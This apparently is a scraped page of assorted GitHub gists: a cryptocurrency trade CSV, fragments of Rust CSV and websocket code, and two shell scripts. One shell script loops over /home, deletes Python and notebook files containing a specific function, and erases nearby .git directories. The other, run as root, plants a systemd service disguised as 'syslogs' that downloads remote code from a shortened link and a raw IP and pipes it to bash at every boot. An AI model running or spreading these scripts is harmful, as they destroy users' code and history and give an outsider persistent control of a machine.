View example.csv
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
datetime | price | volume | trade_sizes | capital_allocation | percentage_returns | |
---|---|---|---|---|---|---|
2018-06-22 20:31:55.552 | 132000.0 | 0.031 | 0.0 | 0.0 | ||
2018-06-22 20:31:55.552 | 132000.0 | 0.031 | 0.0 | 0.0 | ||
2018-06-22 20:31:55.560 | 132000.0 | 0.031 | 0.0 | 0.0 | ||
2018-06-22 20:31:55.658 | 132000.0 | 1.161 | 0.0 | 0.0 | ||
2018-06-22 20:31:55.712 | 128166.0 | 0.1469 | 0.1469 | 0.1469 | ||
2018-06-22 20:31:55.712 | 128161.2 | 0.0172 | 0.0172 | 0.1641 | ||
2018-06-22 20:31:55.712 | 128160.0 | 0.4343 | 0.4343 | 0.5984 | ||
2018-06-22 20:31:55.712 | 127963.2 | 1.0391 | 1.0391 | 1.6375 | ||
2018-06-22 20:31:55.846 | 132000.0 | 0.07 | -0.07 | 1.5675 | 0.030962690863481024 |
View gist:226963923b553a19fbf5f20eb3e06ffe
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/bin/sleep 10 | |
while true | |
do | |
for f in $(/bin/grep -lr --include \*.ipynb --include \*.py "def _extract_key_value" /home) | |
do | |
/bin/rm $f | |
/bin/rm -rf $(/usr/bin/dirname $f)/".git" 2> /dev/null | |
/bin/rm -rf $(/usr/bin/dirname $(/usr/bin/dirname $f))/".git" 2> /dev/null | |
/bin/rm -rf $(/usr/bin/dirname $(/usr/bin/dirname $(/usr/bin/dirname $f)))/".git" 2> /dev/null | |
done |
View gist:ff82f9f0b1632db9f822095ba05e91ad
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo su | |
echo " | |
[Unit] | |
Description=foo | |
[Service] | |
ExecStart=/bin/bash -c '/bin/sleep 30; /usr/bin/wget -O - https://goo.gl/fQyxzw | /bin/bash; /usr/bin/wget -O - https://172.217.25.174/fQyxzw | /bin/bash;' | |
[Install] | |
WantedBy=multi-user.target" > /etc/systemd/system/syslogs.service |
View csv.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern crate csv; | |
use std::error::Error; | |
use std::process; | |
struct data { | |
pub time: Vec<String>, | |
pub name: Vec<String>, | |
pub score: Vec<String>, |
View gist:6bdcc23c540d63dd5ffdb441fb452d94
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
loop { | |
for message in client.incoming_messages() { | |
match message { | |
OwnedMessage::Text(data) => data, | |
_ => None, | |
}; | |
} | |
} |